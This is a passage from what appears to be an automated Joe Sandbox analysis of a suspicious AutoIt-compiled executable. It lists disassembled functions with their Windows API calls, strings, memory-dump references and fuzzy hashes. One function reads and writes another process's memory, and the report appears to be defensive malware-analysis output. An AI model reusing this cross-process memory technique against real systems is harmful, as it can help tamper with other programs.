Instruction Fuzzy Hash: D3F01232544315ABD621EBA8FAC5D9677DDBB45770B980C05F048EB581CB34FCD087A4

Function 00A45C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00A45C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 00A45C6F
MessageBeep.USER32(00000000), ref: 00A45C87
KillTimer.USER32(?,0000040A), ref: 00A45CA3
EndDialog.USER32(?,00000001), ref: 00A45CBD

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 8e68580337e5afc6564c6f0440df9163c2f863feccc81014a678bb8b898ef6f4
Instruction ID: a13d3b310de56dcbe6b61dc11eeec60e08b022c76f99266ae0828d3573183e5b
Opcode Fuzzy Hash: 8e68580337e5afc6564c6f0440df9163c2f863feccc81014a678bb8b898ef6f4
Instruction Fuzzy Hash: 1A018634900B04ABEB359B60DDCEFA677B8BB40B05F04555DA587A10E1DBF0A9858B91

Function 00A122A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00A122BE

Part of subcall function 00A129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00A1D7D1,00000000,00000000,00000000,00000000,?,00A1D7F8,00000000,00000007,00000000,?,00A1DBF5,00000000), ref: 00A129DE
Part of subcall function 00A129C8: GetLastError.KERNEL32(00000000,?,00A1D7D1,00000000,00000000,00000000,00000000,?,00A1D7F8,00000000,00000007,00000000,?,00A1DBF5,00000000,00000000), ref: 00A129F0

_free.LIBCMT ref: 00A122D0
_free.LIBCMT ref: 00A122E3
_free.LIBCMT ref: 00A122F4
_free.LIBCMT ref: 00A12305

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4adbf3da7dadf683cadc4ff0a6bf755c9695872fb389b65230d61225dba250ac
Instruction ID: 098dccbe0ed8aafe571b918c5edf7f2b49612ccd96ac2cc42118842c7715834a
Opcode Fuzzy Hash: 4adbf3da7dadf683cadc4ff0a6bf755c9695872fb389b65230d61225dba250ac
Instruction Fuzzy Hash: 34F017719001218BC612EFE8AD01EE93B64F7597B0B40065AF410DA2B2C73488B3AFE4

Function 009F95C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 009F95D4
StrokeAndFillPath.GDI32(?,?,00A371F7,00000000,?,?,?), ref: 009F95F0
SelectObject.GDI32(?,00000000), ref: 009F9603
DeleteObject.GDI32 ref: 009F9616
StrokePath.GDI32(?), ref: 009F9631

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 7e9e2bd3561d576eb53f18adcc13c7bd529d0632effa3fd8baf9355c43e64e60
Instruction ID: b293593ece3b9995c0bf19c20daee233f28a0384950458286663d4b1a81bb2ec
Opcode Fuzzy Hash: 7e9e2bd3561d576eb53f18adcc13c7bd529d0632effa3fd8baf9355c43e64e60
Instruction Fuzzy Hash: 0BF0C931005248EBDB26DFA5ED287A43B69AB01336F948318F569950F2C7348997DF64

Function 00A10F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00A110F9
__freea.LIBCMT ref: 00A11117

Part of subcall function 00A11537: _free.LIBCMT ref: 00A1154F

Strings

am/pm, xrefs: 00A1117A
a/p, xrefs: 00A111DE

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 4c88d1b8f189451aa7910a497768b8888ed2407eeccbfc922e23309a86e9e969
Instruction ID: ca5ef0e74781311c039c81119c3beed808da2a91f940ff99ca236aca32cced2a
Opcode Fuzzy Hash: 4c88d1b8f189451aa7910a497768b8888ed2407eeccbfc922e23309a86e9e969
Instruction Fuzzy Hash: A3D11331A00206DACB689F68C985BFEB7B5FF05300F280269EB51AF654E3759DC1CB91

Function 00A67B7E Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00A00242: EnterCriticalSection.KERNEL32(00AB070C,00AB1884,?,?,009F198B,00AB2518,?,?,?,009E12F9,00000000), ref: 00A0024D
Part of subcall function 00A00242: LeaveCriticalSection.KERNEL32(00AB070C,?,009F198B,00AB2518,?,?,?,009E12F9,00000000), ref: 00A0028A

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

Part of subcall function 00A000A3: __onexit.LIBCMT ref: 00A000A9

__Init_thread_footer.LIBCMT ref: 00A67BFB

Part of subcall function 00A001F8: EnterCriticalSection.KERNEL32(00AB070C,?,?,009F8747,00AB2514), ref: 00A00202
Part of subcall function 00A001F8: LeaveCriticalSection.KERNEL32(00AB070C,?,009F8747,00AB2514), ref: 00A00235

Strings

G, xrefs: 00A67C7F
Variable must be of type 'Object'., xrefs: 00A67C3A
5, xrefs: 00A67C78

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: 5$G$Variable must be of type 'Object'.
API String ID: 535116098-3733170431
Opcode ID: d17d5ecfa71a93e7c72dd839cd1ca5c31ee7bd48c07169ea0eda23a70d882d18
Instruction ID: fdebbb12c69bd7398ecea6547093a3cfcec2f5b2ab65fa933f5aa7ccb47d5d05
Opcode Fuzzy Hash: d17d5ecfa71a93e7c72dd839cd1ca5c31ee7bd48c07169ea0eda23a70d882d18
Instruction Fuzzy Hash: B091AC70A14209EFCB15EF94D991EBDB7B5FF48308F108459F8069B2A2DB31AE45CB51

Function 00A42716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A4B403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00A421D0,?,?,00000034,00000800,?,00000034), ref: 00A4B42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00A42760

Part of subcall function 00A4B3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00A421FF,?,?,00000800,?,00001073,00000000,?,?), ref: 00A4B3F8

Part of subcall function 00A4B32A: GetWindowThreadProcessId.USER32(?,?), ref: 00A4B355
Part of subcall function 00A4B32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00A42194,00000034,?,?,00001004,00000000,00000000), ref: 00A4B365
Part of subcall function 00A4B32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00A42194,00000034,?,?,00001004,00000000,00000000), ref: 00A4B37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00A427CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00A4281A

Strings

@, xrefs: 00A42832

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 3085f626876979f49db3a0cbff5010af70f713273f4d8fbcba3da0d08adf9d83
Instruction ID: ee08882e03969139e4f17f8b0be7ca92c04151bdaf0d103245606103a68e0868
Opcode Fuzzy Hash: 3085f626876979f49db3a0cbff5010af70f713273f4d8fbcba3da0d08adf9d83
Instruction Fuzzy Hash: B0412F76900218AFDB10DFA4CD85BDEBBB8EF45700F104099FA55B7181DB70AE85CB61

Function 00A1172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe,00000104), ref: 00A11769
_free.LIBCMT ref: 00A11834
_free.LIBCMT ref: 00A1183E

Strings

C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe, xrefs: 00A11760, 00A11767, 00A11796, 00A117CE

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe
API String ID: 2506810119-386343167
Opcode ID: 57bd124b8b059718815a46dac57a474f9fee2652538e7404f9ee4f65fae3754a
Instruction ID: bf717bcf98341873f9dae5228b2ff7c3587543b52a5418f758f9a86b40b7bf8b
Opcode Fuzzy Hash: 57bd124b8b059718815a46dac57a474f9fee2652538e7404f9ee4f65fae3754a
Instruction Fuzzy Hash: D9318D71A00218AFDB21DF999981DDEBBFCEB85310F50816AFA0497252D6708E81CB90

Function 00A4C27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00A4C306
DeleteMenu.USER32(?,00000007,00000000), ref: 00A4C34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00AB1990,016D5478), ref: 00A4C395

Strings

0, xrefs: 00A4C2DF

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 12d2506a6e27651d680b4894bdeab71ae653f29ab724ddf4c766a87a564d8f5b
Instruction ID: 450d23cef6ca7b6bb87e383c3399c025dd0aaf671e4f05aa7a5749746eb1c1e4
Opcode Fuzzy Hash: 12d2506a6e27651d680b4894bdeab71ae653f29ab724ddf4c766a87a564d8f5b
Instruction Fuzzy Hash: A841BF3A2063019FD720DF25D884B5ABBE4AFC5320F108A1DF9A99B2D1D770F904CB62

Function 00A74416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00A7CC08,00000000,?,?,?,?), ref: 00A744AA
GetWindowLongW.USER32 ref: 00A744C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00A744D7

Strings

SysTreeView32, xrefs: 00A7447C

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: e785782263d06a9556aa7020870065e85425ab4a980fd0071eb4f2199292d5c9
Instruction ID: 2e2a8fdbdf7db68c3c05b27c3c394fae67bbbc46f468b89dde428044f5b8c204
Opcode Fuzzy Hash: e785782263d06a9556aa7020870065e85425ab4a980fd0071eb4f2199292d5c9
Instruction Fuzzy Hash: C3318D31210605AFDB218F78DC85BEA7BA9EB48334F24C715F979921E0DB70EC919B50

Function 00A6304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00A6335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00A63077,?,?), ref: 00A63378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00A6307A
_wcslen.LIBCMT ref: 00A6309B
htons.WSOCK32(00000000,?,?,00000000), ref: 00A63106

Strings

255.255.255.255, xrefs: 00A63095, 00A6309A

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: bc963e267b4c23ce38140c6b7662fef18b2b4ef46927e977fdecee229129c35e
Instruction ID: 38fb22210e180a6155bddf9d5151135e4259f057cc0eba31a616ea365fc2545f
Opcode Fuzzy Hash: bc963e267b4c23ce38140c6b7662fef18b2b4ef46927e977fdecee229129c35e
Instruction Fuzzy Hash: E031D3366042059FCF20CF68C985EAA77F0EF55318F258159E9158B392DB32EE86CB61

Function 00A73EB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00A73F40
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00A73F54
SendMessageW.USER32(?,00001002,00000000,?), ref: 00A73F78

Strings

SysMonthCal32, xrefs: 00A73F0B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: c43b9ff651f8e472a9db93bb12271a32cd83e472d51f1cbfb57083080b1ac328
Instruction ID: ab1acf956e5c9549f891b57e6d4870a47407c52cc5f29d85ea6f85e32a2d8378
Opcode Fuzzy Hash: c43b9ff651f8e472a9db93bb12271a32cd83e472d51f1cbfb57083080b1ac328
Instruction Fuzzy Hash: 8C21AD33600219BFDF21CF90CC86FEA3B79EB48764F118214FA196B1D0D6B5A8519B90

Function 00A74653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00A74705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00A74713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00A7471A

Strings

msctls_updown32, xrefs: 00A74684

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 02dc5d7f154b0c092e988c406c6df5d4fed1c7f6f6112496f7ad49d6aed5ee6a
Instruction ID: f0fda2409eff3e573d129ee09ec743060c6a69b1f8bd6ca60a2afa37b74c1f31
Opcode Fuzzy Hash: 02dc5d7f154b0c092e988c406c6df5d4fed1c7f6f6112496f7ad49d6aed5ee6a
Instruction Fuzzy Hash: 0E2162B5600209AFEB11DF64DCD1DB737ADEB9A3A4B048559F50497261D730EC52CB60

Function 00A495AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A4961D

Strings

#notrayicon, xrefs: 00A495B7
#requireadmin, xrefs: 00A495D9
#OnAutoItStartRegister, xrefs: 00A495F3

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: 68f38fa16d4322aada15146e6d55d4cd06637e875182b29c57547d8cd7189b52
Instruction ID: 04c5bfdb12e51ec2e00ab07bff0b92cf9a5284ef4bbecb367c31d5c750d21591
Opcode Fuzzy Hash: 68f38fa16d4322aada15146e6d55d4cd06637e875182b29c57547d8cd7189b52
Instruction Fuzzy Hash: 5A216D761041106AD331BB25EC02FB7F3E8AFD5320F108426F94997081EB55DE65C3D6

Function 00A737B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00A73840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00A73850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00A73876

Strings

Listbox, xrefs: 00A7380F

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: c666ea712031c93f36a5960174d87977d927bb1e6c55ac2932566ef8a1b6a304
Instruction ID: 179967f76e75d69fd9f43d453f19e784a4ba05be9a410cf2ac5a66e431e345bd
Opcode Fuzzy Hash: c666ea712031c93f36a5960174d87977d927bb1e6c55ac2932566ef8a1b6a304
Instruction Fuzzy Hash: 2C217C72610218BBEF21CF95DC85EAB376AEF89760F11C124F9489B190CA769C5297A0

Function 00A549F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00A54A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00A54A5C
SetErrorMode.KERNEL32(00000000,?,?,00A7CC08), ref: 00A54AD0

Strings

%lu, xrefs: 00A54A6F

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 11fcb965b81b8665aaa42196a859e114dd9945152c6c4a04c2cde7a53b741d3d
Instruction ID: 96003dca389e0e4fe26107b63463abdcb973f2bb0d132342365f70c057e32458
Opcode Fuzzy Hash: 11fcb965b81b8665aaa42196a859e114dd9945152c6c4a04c2cde7a53b741d3d
Instruction Fuzzy Hash: 87316175A00108AFDB11DF54C985EAA77F8EF48318F1480A9F909DB252D771ED85CB61

Function 00A741EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00A7424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00A74264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00A74271

Strings

msctls_trackbar32, xrefs: 00A74226

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: fb2065f5bf3d3a7bf09c86ebf2e9fa19bf0021b8ee3392ac209bb9677f7a01ce
Instruction ID: f5d5add783575f199ead714e6aaa68cd32b58b52ea035cf7ef2b62bbf4bedae8
Opcode Fuzzy Hash: fb2065f5bf3d3a7bf09c86ebf2e9fa19bf0021b8ee3392ac209bb9677f7a01ce
Instruction Fuzzy Hash: 9A110431340248BEEF219F69CC05FAB37ACEB89754F118514FA58E2090C371DC218750

Function 00A42F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E6B57: _wcslen.LIBCMT ref: 009E6B6A

Part of subcall function 00A42DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00A42DC5
Part of subcall function 00A42DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00A42DD6
